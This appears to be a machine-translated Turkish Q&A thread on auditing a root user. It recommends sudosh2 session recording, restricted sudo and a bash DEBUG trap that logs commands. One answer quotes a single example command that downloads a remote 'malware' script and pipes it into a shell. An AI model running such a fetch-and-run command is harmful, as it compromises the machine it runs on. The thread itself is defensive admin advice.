Kökten yürütülen her komutu günlüğe kaydet


16

Bir dış sistem yöneticisine kök sunucuma erişim vermek istiyorum, ancak sunucuma ne yaptığını iki kez kontrol ettiğinizden emin olmak istiyorum, örneğin, yapmasını istemediğim verileri kopyalama vb. Ayrıca, sadece okunan ve düzenlenmeyen dosyalara erişilen dosyaları takip etmek istiyorum.

Bunu nasıl yapabilirim?


Yanıtlar:


21

Güven, ama doğrula!

Sudosh2 göz atın . sudosh2, FreeBSD portları tarafından sağlanır. RedHat ve Ubuntu için paketler mevcuttur. İşte kendi web sitesinden açıklama:

sudosh bir denetim kabuğu filtresidir ve bir giriş kabuğu olarak kullanılabilir. Sudosh tüm tuş vuruşlarını ve çıkışlarını kaydeder ve oturumu bir VCR gibi oynatabilir.

Sudosh kullanıcının oturumunu tekrar oynatmanıza izin verir, bu da kullanıcının gördüğü tüm giriş ve çıkışları görmenizi sağlar . Her şeyi, tuş vuruşlarını, yazım hatalarını, geri boşlukları, neleri düzenlediklerini vi, çıktılarını wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shvb.

Sudosh günlüklerini syslog'a göndermek mümkündür, böylece sistemden uzakta merkezi bir syslog sunucusunda saklanabilirler.

Sudosh2 yazarı tarafından terk edilen sudosh yerine geçer

Kullanıcıların süper kullanıcı ayrıcalıklarına sahip olmakta ısrar ettiği bir akademik kurumda mı çalışıyorsunuz? Yoksa bir şirkette mi çalışıyorsunuz ve kullanıcıların kendi sanal makinelerinde süper kullanıcı ayrıcalıklarına sahip olmasını mı istiyorsunuz? Bu sizin için bir çözüm olabilir.


1
Mükemmel - Daha önce sudosh duymamıştım.
EEAA

2
Bahsettiğiniz bu 'VCR' nedir?
Tom Marthenal

2
8 parçalı gibi, ama kendi televizyon programlarınızı kaydedeceksiniz!
Stefan Lasiewski

22

Ona root erişimi verme. Bunun yerine ona ayrıcalıklı olmayan bir kullanıcı hesabı verin ve sudotüm komutlarını kaydeden tüm işini yapmasını isteyin .

Bu kişinin hasta niyetli ve ona tam sudo ayrıcalıkları verirseniz, o unutmayın edecek olanlar komutların kaydı olmadan bu kötü niyetlerini gerçekleştirmek için bir yol bulmak. Bu durumda, sadece işini yapmak için ihtiyaç duyduğu belirli komutlara erişmesine izin verin.


hayatımı acı çekmeden olabildiğince zorlaştırmak istiyorum. Cevap için teşekkürler.
cedivad

Çalıştırılmayacak sudo su -ve günlüğe kaydedilmeyecek bir kök kabuğa sahip olabilirsiniz (başlatmanız dışında). Tek seferde root olarak tek bir komuttan daha fazlasını yapmak istediğimde veya normal kullanıcıların okuyamayacağı dizinlerde sekme tamamlama yapmak istediğimde normalde yazdığım şey budur.
rjmunro

@rjmunro - Bu yüzden ona sadece ihtiyacı olan belirli erişimi vermenin uyarısını verdim. İsterseniz açıkça yasaklayabilirsiniz sudo su -.
EEAA

1

Ben sudosh2 aşina değilim, ama ben .bashrcbir bashkabuk dosyaya yazmak tüm komutları günlüğe koymak benim için ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Yukarıda DEBUGsıradan bir komut yürütülmeden hemen önce yürütülen bir tuzak ayarlanır . callerYerleşik komut interaktif kabuk yazılmış olarak ya da benzeri bir şey aracılığıyla çalıştırıldığını bildiren testi için kullanılır .bashrc. Değer ${BASH_COMMAND}, yürütülmekte olan komutu içerir.

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.